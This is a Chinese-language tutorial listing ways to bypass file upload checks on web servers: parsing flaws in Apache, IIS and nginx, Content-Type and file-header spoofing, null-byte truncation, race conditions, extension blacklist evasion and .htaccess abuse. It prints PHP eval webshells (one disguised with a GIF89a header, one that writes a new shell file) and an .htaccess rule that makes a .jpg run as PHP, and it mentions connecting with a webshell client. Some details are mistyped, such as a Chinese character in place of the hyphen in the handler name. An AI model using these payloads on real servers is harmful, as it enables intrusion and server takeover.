文件上传漏洞
文件上传漏洞分类:
1.JS检测绕过攻击
1)通过浏览器插件,删除检测js代码
2)上传后抓包,修改为php等可用后缀
2.文件后缀绕过分析攻击(iis,apache等)
1)apache可解析以.php,.phtml为后缀的文件;在Apache1.x与Apache2.x中存在解析漏洞,不管文件的后缀是什么,只要是.php.结尾,就会被Apache服务器解析成PHP文件,问题是Apache如果在mime.types文件里面没有定义的扩展名比如x1.x2.x3的情况下,最后一个x3的没有定义,那么就会将其解析成倒数第二个的x2的定义的扩展名类型。
2)apache的解析顺序问题,其从右到左进行解析,例如木马.php我们不可上传,且.我们知道qwe为不可解析的后缀,我们可以构造木马.php.qwe可进行上传
3)iis6.0:有两种方式,一是构造/木马.asp/1.jpg ,在这里我们将木马.asp看作是一个目录,这样此目录下面的文件所有类型的后缀都会解析为asp脚本,这样我们只需要实际将1.jpg写成一个木马就可以了。二是构造木马.asp;jpg ,在这里 ; 会将分号以后的不进行解析,这意味着我们的木马上传成功。
4)iis7.5,nginx:我们构造木马.jpg/.php,这样直接将jpg文件解析为php脚本
5)低版本的nginx(nginx 0.5.——0.8.37):构造%00.php可进行解析,然后找到任意的图片地址后面加上任意名.php,当页面返回乱码时,记下该地址连接木马即可。
3.文件类型绕过攻击
当进行正常上传图片操作的时候,我们进行抓包,我们可以看到数据包中的Content-Type的值为:image/jpeg。当我们上传php文件时,就变成了Content-Type:application/oct-stream,如果服务端只是检验Content-Type的值时,我们就可以在上传木马时将application/oct-stream改成image/jpeg,成功绕过
4.文件截断绕过攻击
00截断绕过,特殊字符(空格,.,::$DATA)截断,其中特殊字符针对windows主机
5.竞争条件攻击
利用服务器删除木马文件的时间差进行重新生成木马,从而达到上传目的(通俗来说,就说趁检查代码不注意,上传进去了)。php生成新木马代码如下:
<?php
fputs(fopen('../新木马.php','w'),'<?php @eval($_POST[a])?>');
?>
6.服务器端文件头检验
服务器端通过校验文件头来判断文件合法性。后面的FFD8等都为hex编码
图片: https://uploader.shimo.im/f/vAIz5BWbRLwfV7jo.png
也可以进行这样构造 木马.php文件
GIF89a
<?php
@eval($_POST[a])
?>
然后上传
7.服务端黑名单检验
大小写绕过:1.Php,1.aSP等
猜测黑名单中没有的:PHP类型:1.php,1.php3,1.php4,1.php5,1.php7,1.pht,1.phps,1.phtml
ASP类型:1.asp ,1.asa ,1.cer ,1.cdx
ASPX类型:1.aspx ,1.ashx
JSP类型:1.jsp ,1.jspx
8.通过修改.htaccess文件进行攻击
先来了解一下.htaccess文件,.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置.通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
通过.htaccess文件,调用php的解析器解析一个文件名只要包含“HYA”这个字符串的任意文件。这个“HYA”的内容如果是一句话木马.即可利用中国莱刀进行连接。
我们创建一个内容为以下代码的.htaccess文件
<FilesMatch "HYA.jpg">
SetHandler application/x-httpd一php
</FilesMatch>
当过滤尖括号时,可只写SetHandler application/x-httpd一php
,并注意要根据不同文件名后缀对校验内容进行测试(太狗了)
然后上传我们的文件即可,以上代码的意思是通过.htaccess文件,调用php的解析器解析一个文件名只要包含“HYA”这个字符串的任意文件。这个“HYA”的内容如果是一句话木马.即可利用中国莱刀进行连接。再写出一个木马文件为HYA.jpg,上传即可